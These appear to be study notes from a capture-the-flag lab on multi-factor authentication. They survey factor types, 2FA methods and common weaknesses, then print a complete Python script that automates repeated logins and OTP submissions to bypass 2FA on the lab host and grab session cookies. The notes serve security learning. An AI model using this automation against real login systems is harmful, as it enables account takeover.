Skip to content

Multi - Factor Authentication

Introduction

  • Purpose: Understanding and implementing multi-factor authentication (MFA) to enhance security.
  • MFA vs. 2FA:
    • MFA: Requires two or more authentication factors.
    • 2FA: A subset of MFA that requires exactly two factors.
  • Benefits: Provides stronger protection against various attacks, including phishing, social engineering, and credential stuffing.

Types of Authentication Factors

  • Something You Know: Passwords, PINs, security questions.
  • Something You Have: Phone, security token, smart card.
  • Something You Are: Biometrics (fingerprint, facial recognition, iris scan).
  • Somewhere You Are: Location-based authentication (IP address, geolocation).
  • Something You Do: Behavioral analysis (typing patterns, mouse movements).

Kinds of 2FA

  • TOTP (Time-Based One-Time Password): Temporary codes that change every 30 seconds (e.g., Google Authenticator).
  • Push Notifications: Login requests sent to a mobile device for approval (e.g., Duo).
  • SMS: One-time codes sent via SMS.
  • Hardware Tokens: Physical devices that generate codes (e.g., YubiKey).

Conditional Access

  • Purpose: Adjusting authentication requirements based on context.
  • Types:
    • Location-based
    • Time-based
    • Behavioral analysis
    • Device-specific

MFA Adoption and Regulations

  • Growing Adoption: MFA is becoming increasingly important across various sectors.
  • Regulatory Push: Governments and industries are mandating MFA through regulations like GDPR, HIPAA, and PCI DSS.

MFA in Different Sectors

  • Banking: Protects user accounts and financial transactions.
  • Healthcare: Secures patient data and access to electronic health records (EHRs).
  • Corporate IT: Mitigates the risk of unauthorized access to sensitive business data and systems.

2FA Vulnerabilities and Attacks

  • Weak OTP Generation: Predictable or easily guessable OTPs.
  • OTP Leakage: Applications exposing OTPs in responses or logs.
  • Brute Forcing: Attackers making repeated guesses at OTPs.
  • Lack of Rate Limiting: Allows attackers to make unlimited attempts.
  • Evilginx: A phishing tool that can bypass MFA by intercepting OTPs.

OTP Leakage in XHR Responses

  • Causes:
    • Server-side validation errors
    • Lack of security awareness
    • Debugging information left in production
  • Exploitation: Capturing the OTP from the XHR response and using it to bypass 2FA.

Logic Flaws and Insecure Coding

  • Vulnerability: Flawed logic or insecure coding can allow bypassing 2FA entirely.
  • Exploitation: Accessing the dashboard or other protected resources directly without completing 2FA.

Session Invalidation and Redirection

  • Behavior: Failing 2FA challenges can invalidate the session or redirect the user back to the login page.
  • Reasons:
    • Security measures to prevent brute-force attacks.
    • Re-authentication to verify user identity.

Automation in 2FA Attacks

  • Benefits:
    • Speed and efficiency
    • Consistency and reliability
    • Ability to recover from logouts
    • Customization for specific scenarios

Exploiting 2FA with Automation

  • Example: Using a Python script to brute-force a 4-digit OTP and bypass 2FA.
import requests

# Define the URLs for the login, 2FA process, and dashboard
login_url = 'http://mfa.thm/labs/third/'
otp_url = 'http://mfa.thm/labs/third/mfa'
dashboard_url = 'http://mfa.thm/labs/third/dashboard'

# Define login credentials
credentials = {
    'email': '[email protected]',
    'password': 'test123'
}

# Define the headers to mimic a real browser
headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://mfa.thm',
    'Connection': 'close',
    'Referer': 'http://mfa.thm/labs/third/mfa',
    'Upgrade-Insecure-Requests': '1'
}

# Function to check if the response contains the login page
def is_login_successful(response):
    return "User Verification" in response.text and response.status_code == 200

# Function to handle the login process
def login(session):
    response = session.post(login_url, data=credentials, headers=headers)
    return response

# Function to handle the 2FA process
def submit_otp(session, otp):
    # Split the OTP into individual digits
    otp_data = {
        'code-1': otp[0],
        'code-2': otp[1],
        'code-3': otp[2],
        'code-4': otp[3]
    }

    response = session.post(otp_url, data=otp_data, headers=headers, allow_redirects=False)  # Disable auto redirects
    print(f"DEBUG: OTP submission response status code: {response.status_code}")

    return response

# Function to check if the response contains the login page
def is_login_page(response):
    return "Sign in to your account" in response.text or "Login" in response.text

# Function to attempt login and submit the hardcoded OTP until success
def try_until_success():
    otp_str = '1337'  # Hardcoded OTP

    while True:  # Keep trying until success
        session = requests.Session()  # Create a new session object for each attempt
        login_response = login(session)  # Log in before each OTP attempt

        if is_login_successful(login_response):
            print("Logged in successfully.")
        else:
            print("Failed to log in.")
            continue

        print(f"Trying OTP: {otp_str}")

        response = submit_otp(session, otp_str)

        # Check if the response is the login page (unsuccessful OTP)
        if is_login_page(response):
            print(f"Unsuccessful OTP attempt, redirected to login page. OTP: {otp_str}")
            continue  # Retry login and OTP submission

        # Check if the response is a redirect (status code 302)
        if response.status_code == 302:
            location_header = response.headers.get('Location', '')
            print(f"Session cookies: {session.cookies.get_dict()}")

            # Check if it successfully bypassed 2FA and landed on the dashboard
            if location_header == '/labs/third/dashboard':
                print(f"Successfully bypassed 2FA with OTP: {otp_str}")
                return session.cookies.get_dict()  # Return session cookies after successful bypass
            elif location_header == '/labs/third/':
                print(f"Failed OTP attempt. Redirected to login. OTP: {otp_str}")
            else:
                print(f"Unexpected redirect location: {location_header}. OTP: {otp_str}")
        else:
            print(f"Received status code {response.status_code}. Retrying...")

# Start the attack to try until success
try_until_success()

  • XMLHttpRequest (XHR) request is a JavaScript request that sends an HTTP or HTTPS request from a browser to a server.